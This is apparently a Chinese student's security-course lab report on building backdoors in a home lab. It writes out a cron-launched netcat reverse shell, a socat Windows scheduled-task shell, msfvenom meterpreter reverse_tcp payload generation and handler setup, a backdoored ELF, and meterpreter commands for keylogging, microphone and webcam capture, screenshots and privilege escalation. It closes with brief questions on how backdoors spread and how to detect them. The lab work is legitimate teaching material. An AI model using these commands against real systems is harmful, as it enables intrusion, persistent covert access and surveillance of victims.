EXP 2 后门原理与实现
2.1 实验内容
本次实验是进行简单的后门实现,主要是通过后门程序在目标机中的自启后建立同攻击机的链接,之后攻击机执行所想要进行的操作。基于后门原理,实现以下基本实验:
- 使用netcat获取主机操作shell,cron启动。
- 使用socat获取主机操作Shell,任务计划启动。
- 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机shell。
- 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容并尝试提权。
- 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
2.2 实验步骤
2.2.1 使用netcat获取主机操作shell,cron启动
- 实验思路:cron启动是利用Linux中的定时任务来实现自启动。因此,只要将需要执行的necat命令写入到Linux的定时任务列表文件中就可以完成。
- 首先我们在Linux中编辑一条定时任务,输入
crontab -e
命令来进入到编辑器中编辑命令。 - 这里是用vim编辑的,我们在最后一行输入
25 * * * * /bin/netcat 192.168.117.1 5103 -e /bin/sh
命令,表示在每小时25分的时候执行netcat连接命令,连接到我的win10主机5103端口。保存退出。
- 这边win10打开cmd进入到我们netcat的目录下输入
netcat.exe -l -p 5103
回车开始监听 - 到达时间后,成功获取Linux的shell。
2.2.2 使用socat获取主机操作Shell,任务计划启动
- 实验思路:同上个实验原理类似,这个实验是Linux机为攻击机,win10机为目标机,利用windows系统中的任务计划来启动socat程序,连接到攻击机后攻击机取得win10的shell。
- 这里首先可以在Linux机上准备好监听,输入
socat - tcp:192.168.117.1:5103
,监听目标机5103端口上的tcp连接。 - 然后我们在win10上先装好socat,再打开控制面版>管理工具>任务计划程序
- 点击右边的创建任务,可以先命个名,然后到上方选项卡中触发器选项中创建一个触发器,我这里设置的开始任务是工作站锁定时(也就是我们锁定电脑的时候win+l,也可以设置为解锁的时,就是登陆界面输入密码后解锁后)。
- 之后我们再到操作选项卡新建个操作,操作是启动程序,程序是我们的socat,将将路径选对就行,然后需要添加参数,输入
tcp-listen:5103 exec:cmd.exe,pty,stderr
大意是重定向cmd,绑定5103端口。之后创建完成
- 这时我们win+l锁定一下win10,解锁后之前添加的任务开始运行。然后我们到Linux中运行我们之前输入的指令,就能成功得到win10的shell了。
2.2.3 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机shell
- 实验思路:这里用到了MSF meterpreter软件,利用这个软件我们可以生成一个后门程序。将这个后门程序通过ncat传到win10主机中执行就可以进行我们的攻击了,这里是后门程序连到我们的攻击机中我们得到了win的shell。
- 首先就是在Linux中输入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.92.128 LPORT=5103 -f exe > 20165103_bd.exe
- ip和端口号为攻击机的ip和需要监听的端口,之后就生成后门文件
20165103_bd.exe
,然后我们将这个文件用netcat传到win10目标机中。
- 在win10的cmd中输入
ncat.exe -l 5103 > 20165103_bd.exe
,开始监听5103端口 - 在Linux中输入
nc 192.168.117.1 5103 < 20165103_bd.exe
向目标主机发送我们的后门文件。传输完成后我们退出就行。 - 之后我们开始进行攻击机上的操作,输入
msfconsole
指令,启动程序 - 输入
use exploit/multi/handle
r加载监听模块,输入set payload windows/meterpreter/reverse_tcp
设置payload,输入set LHOST 192.168.92.128
之后再输入set LPORT 5103
设置端口号和攻击机ip。
- 然后输入
exploit
进行监听,这时我们回到目标机执行我们传过去的后门程序。
- 这样我们就获得了目标机的shell
2.2.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容并尝试提权
- 实验思路:承接上个实验,继续进行尝试获取一些目标机中的其他信息。
- 首先我们可以用
record_mic
来录一段音,加上-d
参数可以来设置时间(按秒来记)(emmm截图找不到了。。)
- 可以用
keyscan_start
和keyscan_dump
指令可以用来记录目标机击键(start是开始,dump是结束)
- 用
screenshot
可以用来截取目标机的屏幕内容。
- 使用
getsystem
可以对目标机进行提权,这里需要注意的是如果后门程序按正常启动是无法成功的,需要用管理员权限启动才能成功提权。
- 使用
webcam_snap
指令可以使用摄像头拍照,使用webcam_stream
指令可以使用摄像头进行录像。做到这里的时候我没法使用我的摄像头,尝试重装了驱动也不行,在win10中没有找到这个设备。结果表明,我win10的摄像头应该是坏了。。。希望以后有机会能尝试这个功能。
2.2.5 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 这个我理解的是利用MSF生成一个shellcode然后我们把这个shellcode手动注入到pwn1中,有点类似实验一种的第三个实验。
- 经过一番探索(此处省略好多,有时间补),发现我使用
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.92.128 LPORT=5103 -f c
生成的shellcode并不能实现这个功能(至少现在还没调出来)
- 这里暂时先按好多同学做的方式将shellcode直接写入pwn1中先做。。。
- 命令是
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.92.128 LPORT=5103 -x /root/pwn1 -f elf > pwn2
生成后拷到另一台kali(目标机)上,加上执行权限。
- 之后就跟第3个实验一样了,攻击机监听目标机运行后门程序。
- 有点好奇,准备尝试比对一下这个pwn2文件和我之前生成的区别在哪??
2.3 基础问题回答
例举你能想到的一个后门进入到你系统中的可能方式?
- 这个我在查资料中无意见看到了一个这个,发现有不少种方式。比如有可能别有用心的人将后门程序绑定到正常程序上,然后发布到网上的一些软件网站(破解软件、外挂软件、播放器软件这些应该大概率有)还有就是网页挂载,或者由于Windows默认的文件后缀隐藏而造成的误点都有可能。
例举你知道的后门如何启动起来(win及linux)的方式?
- 用户自己点这个肯定不用说了,win的这个任务启动和linux的这个cron启动我们这次实验做过。感觉最隐蔽的就是和正常程序绑定在一起的(甚至有可能进程迁移绑定到系统进程中)。
Meterpreter有哪些给你映像深刻的功能?
- 这个的功能真的多,书上说的好多都感觉背后发凉。事实上感觉调用摄像头的功能感觉很厉害,可惜自己没法亲自尝试。其它比较印象深的就是提权、录音和键盘记录了,其它的有待自己慢慢尝试。
如何发现自己有系统有没有被安装后门?
- 其实杀毒软件对付做过免杀的后门感觉有点难,不过听说火绒挺好用的,毕竟杀毒软件还是能起到这个监控检测作用
- 记得开防火墙,看有没有啥奇奇怪怪的port在工作
- 虽然后门应该都会把自己伪装成正经程序,但是也可能有光天化日就此自曝俺就是后门的进程吧(这是要多。。。懒?)